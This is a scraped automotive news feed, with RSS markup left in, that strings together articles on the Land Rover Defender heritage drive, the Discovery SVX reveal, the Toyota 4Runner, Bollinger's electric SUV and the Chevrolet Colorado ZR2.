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Suspension compliance was surprisingly benign, on par with a new Discovery we tried for contrast, at least in the dirt (we didn’t exercise the Defender on pavement). And nothing scraped underneath in the deep ruts we encountered from time to time.

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Demerits? Very minor. The worm-and-roller hydraulic power steering, though surprisingly tactile, was slow by contemporary standards—3.8 turns lock-to-lock. And for a vehicle with a 92.9-inch wheelbase, the 38.4-foot turning circle seemed more appropriate for a World War II landing craft. More than once we had to execute three-point maneuvers to make it around tight turns without scraping timber, turns we made in one pass with the Disco. But that in no way diminished the day.

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Land Rover Defender Experience

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The Price of Play

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Viewed simply as an automotive novelty, the Defender Experience is an entertaining retro trip, albeit an expensive one—$ 1200 for half a day or $ 1500 to play all day.

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But as already suggested, there’s more to this program than lending an historic element to the 70th anniversary season. Land Rover CEO Ralf Speth has already acknowledged that an all-new Defender is on the near horizon. The question is what will it be and when. Speth has been quoted as saying that the new Defender will utilize elements from the current Land Rover hardware inventory and that he has driven the prototype, pronouncing it “even more capable” than its predecessor.

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Land Rover has also let it be known that the resurrection will entail a trio of Defender models, including a high-performance SVR edition heated up by the Jaguar Land Rover Special Vehicle Operations hot-rod shop. Beyond that, it’s all speculation.

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However, it does seem clear that the revivalist Defender will bear little, if any, resemblance to the DC100 concept vehicle that Land Rover displayed at the 2011 Frankfurt auto show. The Defender faithful dismissed that one as wimpy. As McCullough observed, “That’s why we put things out there, to get consumer feedback.”

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And the Land Rover Heritage Program? “It’s a fun thing to do—keeps the conversation going. And even though it has been 20 years since there’s been a Defender in the U.S., there’s still a core of enthusiast interest.”

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reeel

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]]> https://briefnews.eu/the-once-and-future-off-roader-land-rovers-heritage-experience-hypes-its-next-defender/feed/ 0 Land Rover Discovery SVX 2018 – Dynamic off-roader REVEALED in Frankfurt https://briefnews.eu/land-rover-discovery-svx-2018-dynamic-off-roader-revealed-in-frankfurt/ https://briefnews.eu/land-rover-discovery-svx-2018-dynamic-off-roader-revealed-in-frankfurt/#respond Mon, 11 Sep 2017 23:58:10 +0000 http://briefnews.eu/land-rover-discovery-svx-2018-dynamic-off-roader-revealed-in-frankfurt/

Land Rover has announced a new addition to the Discovery range, the SVX SUV, at the Frankfurt Motor Show 2017. 

It will sit alongside the SVR and SVAutobiography in the Special Vehicle Operations (SVO) portfolio. 

Jeremy Hicks, Managing Director, Jaguar Land Rover UK said: “The new Discovery SVX embodies the ultimate in adventure and capability of the Discovery family. 

“Customers love the Discovery’s versatility and capability and we are delighted to offer UK customers even more choice with the addition of the Si4 300hp engine.”

Jaguar Land Rover is offering the new SVX exclusively with a 5.0-litre Supercharged V8 petrol powertrain which delivers 525PS and 625Nm of torque. 

It is the first Jaguar Land Rover model to feature Hydraulic Active Roll Control which improves body control and off-road traction. 

SVX also benefits from improves approach and angles while offload thanks to the raised lightweight aluminium monocoque architecture and new air-suspension system. 

New Goodyear Wrangler all-terrain tyres and forges aluminium alloy wheels have been fitted to improve off-road traction too. 

A number of the Discovery’s Dynamic driving systems have been included on the SVX including optimised Terrain Response 2, Hill Descent Control, Electronic Traction Control (ETC), Adaptive Dynamics, Dynamic Stability Control (DSC), All-Terrain Progress Control (ATPC) and variable ratio Electric Power-Assisted Steering (EPAS).

John Edwards, Jaguar Land Rover Special Operations Managing Director, said: “SVO designers and engineers are embedded within the Land Rover team and have unleashed their own passion for adventure to create another truly desirable and versatile vehicle in the Land Rover line-up.”

On the production version of the Discovery SVX a number of style tweaks have been added to distinguish it from the standard Discovery and emphasise its off-road character.

Most notably is the new bumper with large aluminium skid plates that have been fitted and the orange accents which can be found across the car’s body. 

Two LED strip lights have also been added above the windscreen to presumably improve visibility in the dark and new roof bars have been added to improve practicality.  

Gerry McGovern, Land Rover Chief Design Officer, said:“The combination of design excellence and engineering integrity inherent in every Land Rover is the foundation of everything we do.

“The Discovery SVX reinforces Land Rover’s unrivalled reputation for building vehicles with true all-terrain capability for customers who desire the ultimate in off-road performance.”

Inside the car the Discovery gains a new 12.3-inch Interactive Driver Display instrument cluster and 10-inch touchscreen interface on the centre console.

The system now has 4G Wifi included on SE and above trim levels. 

Discovery SVX will be hand-assembled by expert craftsmen at the SVO Technical Centre in the UK when production begins in 2018. 

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]]> https://briefnews.eu/land-rover-discovery-svx-2018-dynamic-off-roader-revealed-in-frankfurt/feed/ 0 Outdated Off-Roader: 2018 Toyota 4Runner, in Depth https://briefnews.eu/outdated-off-roader-2018-toyota-4runner-in-depth/ https://briefnews.eu/outdated-off-roader-2018-toyota-4runner-in-depth/#respond Sat, 09 Sep 2017 18:23:21 +0000 http://briefnews.eu/outdated-off-roader-2018-toyota-4runner-in-depth/ 2017-Toyota-4Runner-01-Placement

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Don’t call it a comeback—the 4Runner’s been here for years. And you’d know it to look at the thing, with its burly, last-decade styling, its big, naturally aspirated V-6, and a transmission with an improbably low number of gears (five) for something that shares the road with the likes of the Tesla Model S. The 4Runner is purpose-built for off-roading, and it’s so numb and wandering on paved surfaces that it’s best for drivers who spend much of their time off the beaten path. There, buyers may be glad of its plastic-laden interior because it’ll be easy to clean when mud inevitably makes its way inside. The 4Runner is missing plenty of modern creature comforts and doesn’t have the comprehensive active safety tech that’s standard in so many other Toyotas, but it’s outfitted for rock crawling and dirt-track cruising like nothing else this side of a Jeep Wrangler. READ MORE ››

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]]> https://briefnews.eu/outdated-off-roader-2018-toyota-4runner-in-depth/feed/ 0 Off-the-Grid EV? Upstart Bollinger Planning U.S.-Built Electric Off-Roader https://briefnews.eu/off-the-grid-ev-upstart-bollinger-planning-u-s-built-electric-off-roader/ https://briefnews.eu/off-the-grid-ev-upstart-bollinger-planning-u-s-built-electric-off-roader/#respond Mon, 01 May 2017 21:03:27 +0000 http://briefnews.eu/off-the-grid-ev-upstart-bollinger-planning-u-s-built-electric-off-roader/ Bollinger exterior

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Take some of the tweed-jacket, traditionalist design character of the original Land Rover Series 1 and mix in some of the modern features and comforts of the Jeep Wrangler and the Toyota FJ Cruiser, and you’re probably not far from what New York State upstart Bollinger Motors hopes to build. Except it intends for it to be purely electric.

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Most automakers—including fledgling electric-vehicle makers—have started out with a commuter car, a flagship sedan, or a racy sports car for their first EV. But for Bollinger Motors, it makes a lot of sense to apply its electric-vehicle know-how to a rugged, traditional SUV first.

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Bollinger Motors started in 2014 out of a renovated car-repair shop and is led by Robert Bollinger, a newbie to the auto industry with a varied résumé that includes having worked on an organic hair- and skin-care business. The automaker isn’t looking for outside funding, but it won’t discuss how it plans to raise the staggering amounts needed for all the steps from proper vehicle development through sourcing, certification, and production.

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So far, Bollinger has teased only a partial side-angle shot of its SUV ahead of its anticipated reveal this July. But in the meantime, the company has revealed a few other details including some locked-in dimensions as well as a preview of the rolling chassis it has engineered that will underpin the SUV and, perhaps, a longer-wheelbase pickup to follow.

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An Off-Roader at Its Core

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The 295-pound chassis is built of aluminum but has a high-strength-steel rollover structure. The truck houses all of its core electric components within the chassis rails—with lithium-ion-battery storage under the driver and passenger, high-voltage systems at the middle of the vehicle, and motor systems at the front and rear.

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Bollinger chassis

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The truck rolls on BFGoodrich Mud-Terrain 285/70R-17 light-truck tires with high-offset, eight-lug alloy wheels and geared axle hubs that permit the whole suspension to be raised on the chassis. An adjustable, self-leveling four-wheel independent suspension permits 10 inches of wheel travel, and the anti-roll bars can be disconnected to allow full articulation for off-roading. The steering is hydraulically assisted.

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It’s a good size for off-roading. The wheelbase is just 105 inches—about the same as the Toyota FJ Cruiser, which is much loved by off-road enthusiasts, but nearly 10 inches longer than the wheelbase of the two-door Jeep Wrangler. Approach and departure angles are also impressive, at 56 and 53 degrees respectively, while the breakover angle is 33 degrees.

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Based on the rolling chassis and the placement of the steering column, we’d venture to say that the production vehicle will have an extremely upright—and perhaps refreshingly retro—driving position.

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Who’s the target buyer?

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“Because it will have class-leading off-roading credentials, we think that the vehicle will be well suited for outdoor enthusiasts as well as various government agencies with clean-fleet initiatives,” said chief marketer and spokesman Jeff Holland. The company can reach a break-even point with only modest sales, he argued, adding that it’s “a very standard back-to-basics SUT from a materials and packaging standpoint, which also saves cost.” Pricing is to be competitive with comparable SUVs available today; Bollinger said the company will ask for $ 1000 deposits, fully refundable, when it begins taking orders.

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Ambitious Timeline, As Rivals Get Ready

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The company is aiming for first deliveries in 2019 and is starting certification and compliance work on the vehicle this spring, yet how or where the company will produce this truck remains a mystery. It will be built in the United States with what Holland described as “a well-known and established partner with deep experience in building on- and off-road vehicles.” You won’t see Bollinger looking overseas for production locations, either. “It is important to us that the design and engineering—which was started and continues in New York—as well as the manufacturing and production stay right here in the U.S.,” said Holland.

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The idea of all-electric off-roading might sound good to some but not to others. Conservationists might appreciate how there’s no rumbling exhaust to scare wildlife, no tailpipe to scrape, no oil pan to shear off, and no driveshaft to maim when you’re high centered. On the other hand, off-roading while in need of a charge could bring a whole new meaning to the term “range anxiety”—there are no jerrycans, and there’s no possibility that any AAA charging truck will come to the rescue after you’ve scrambled over a rocky ridge.

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Bollinger faces a rather narrow window in which to prove it’s not just peddling vaporware. Its closest rival in the short term could prove to be Workhorse, an Indiana company that is courting the fleet market and has already received a 200-truck order for its all-electric W-15 from UPS. Like Bollinger’s truck, the W-15 isn’t a conversion vehicle and has completely new underpinnings not shared with any other vehicle. There’s also a Tesla pickup in the works—all electric, of course, and anticipated to go on sale in two to three years. And if this proves to be a viable segment, don’t think truck stalwarts Ford, General Motors, and Ram are going to sit idly by. Although now barren, the electric-truck landscape could flourish in just a few years.

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]]> https://briefnews.eu/off-the-grid-ev-upstart-bollinger-planning-u-s-built-electric-off-roader/feed/ 0 Deuces Wild: Chevrolet Colorado ZR2 Off-Roader Priced from $40,995 https://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995-2/ https://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995-2/#respond Sat, 18 Feb 2017 00:22:20 +0000 http://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995-2/ –2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2–2017 Chevrolet Colorado ZR2—
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]]> https://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995-2/feed/ 0 Deuces Wild: Chevrolet Colorado ZR2 Off-Roader Priced from $40,995 https://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995/ https://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995/#respond Fri, 17 Feb 2017 23:24:19 +0000 http://briefnews.eu/deuces-wild-chevrolet-colorado-zr2-off-roader-priced-from-40995/ 2017-Chevrolet-Colorado-ZR2-PLACEMENT

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The 2017 Chevrolet Colorado ZR2 may be smaller and less powerful than the half-ton Ford F-150 Raptor, but these facts are unlikely to deter consumers (and automotive publications) from thinking together about the two off-road-oriented pickups. Priced at $ 40,995, the Colorado ZR2 undercuts the hulking Raptor’s base price by $ 9160. Those more interested in an apples-to-apples comparison can pit the ZR2 against the $ 41,930 Toyota Tacoma TRD Pro instead.

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Like the Tacoma TRD Pro, the ZR2 relies on underhood hardware from lesser lineup mates. A 308-hp 3.6-liter V-6 engine is standard fare, while a 186-hp 2.8-liter turbocharged diesel four-cylinder engine is optional. Additional add-ons include a premium sound system, a sweet bed-mounted spare-tire carrier, and a full-length vinyl floor in place of the standard carpet that can be added at no cost.

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2017 Chevrolet Colorado ZR2

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While Chevrolet didn’t release pricing information for the ZR2’s specific options, the brand did share the truck’s extensive list of standard equipment. Highlights include front and rear locking differentials for the standard four-wheel-drive system, a 3.5-inch-wider track compared with the standard Colorado, and a set of spool-valve dampers, a technology found at one point or another in Formula 1 and Le Mans race cars, among others. (Read our in-depth explainer about spool-valve tech.) Try finding these items on the base TRD Pro. Still, the TRD Pro does have one impressive ace in its hole: an available six-speed manual transmission. ZR2s are only equipped with automatics: an eight-speed unit for the V-6 and a six-speed for the diesel.

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Other standard ZR2 features include a 2.0-inch lift, 31-inch off-road tires, plates and side tubing to protect the mechanicals and underbody, a trailering package, an 8.0-inch touchscreen multimedia system with navigation, and more. The Colorado ZR2 goes on sale this spring and will be available in both crew- and extended-cab body styles, as well as with the choice of a short or long bed.

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2017-Chevrolet-Colorado-ZR2-REEL

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